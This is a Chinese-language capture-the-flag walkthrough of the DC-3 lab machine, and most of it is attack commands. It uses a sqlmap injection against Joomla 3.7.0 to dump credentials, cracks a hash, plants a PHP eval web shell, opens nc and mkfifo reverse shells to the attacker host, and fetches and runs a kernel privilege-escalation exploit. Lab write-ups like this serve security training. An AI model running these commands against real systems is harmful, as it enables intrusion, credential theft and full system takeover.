DC-3靶机渗透测试 先对内网进行探活扫描nmap -sn 192.168.207.0/24dc-3的ip是192.168.207.131进行端口扫描nmap -sV -p- 192.168.207.131开放了http服务上浏览器访问http://192.168.207.131查看一下网站内容有一个登录框没有验证码可以尝试弱口令使用的是Joomla框架进行目录扫描dirsearch -u http://192.168.207.131扫到一个管理员登录页面我们对框架进行版本扫描joomscan是针对joomla的扫描器joomscan --url http://192.168.207.131Joomla 3.7.0searchsploit Joomla 3.7.0存在sql注入searchsploit -m 42033.txtcat 42033.txt这里让我们用sqlmap并给出相应语句sqlmap -u http://192.168.207.131/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 --level5 --random-agent --dbs -p list[fullordering]查joomladb中的表sqlmap -u http://192.168.207.131/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 -p list[fullordering] -D joomladb --tables查#__users表里的字段sqlmap -u http://192.168.207.131/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 -p list[fullordering] -D joomladb -T #__users --columns这里的#__users要用双引号框起来不然会报错第一个填y第二个填y第三个随便填第四个填10获取字段username和passwordsqlmap -u http://192.168.207.131/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml --risk3 -p list[fullordering] -D joomladb -T #__users -C username,password –dump得到admin和密码哈希将哈希存入txt中让john去跑一下echo $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 666.txtjohn 666.txt得到密码snoopy,登录网页后台选择ExtensionsTemplatesTemplates选择Beez3 Details and Files选择new file点击左边的html选择php创建文件上传一句话木马?php eval($_POST[Z]);?上传保存访问上传的路径http://192.168.207.131/templates/beez3/html/使用蚁剑远程连接终端接下来反弹shell到kali里在kali里输入nc -lvvp 6666开启监听在蚁剑里输入nc 192.168.207.128 6666 -e /bin/bash页面显示-e不可用那么使用rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.207.128 6666 /tmp/f是利用 nc FIFO 管道实现的反弹Shell写法常用于没有 nc -e 参数时rm /tmp/f删除 /tmp/f因为后面要创建一个新的 FIFO 文件把旧的数据删掉mkfifo /tmp/f创建命名管道cat /tmp/f不断读取 /tmp/f 里面的数据| /bin/sh交给 shell 执行-i交互模式让 shell 像正常终端一样工作21把错误输出也发送出去python -c import pty;pty.spawn(/bin/bash)查看系统版本cat /etc/os-release是Ubuntu 16.04searchsploit Ubuntu 16.04选择Linux Kernel 4.4.x (Ubuntu 16.04) - double-fdput() b | linux/local/39772.txtsearchsploit -m linux/local/39772.txtcat 39772.txtwget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip开启http服务上传39772.zippython3 -m http.server 80到dc-3的终端上​wget http://192.168.207.128/39772.zipunzip 39772.zipcd 39772tar -xvf exploit.tarcd ebpf_mapfd_doubleput_exploit./compile.sh./doubleputwhoami成功获得root权限cd ~lscat the-flag.txt渗透测试成功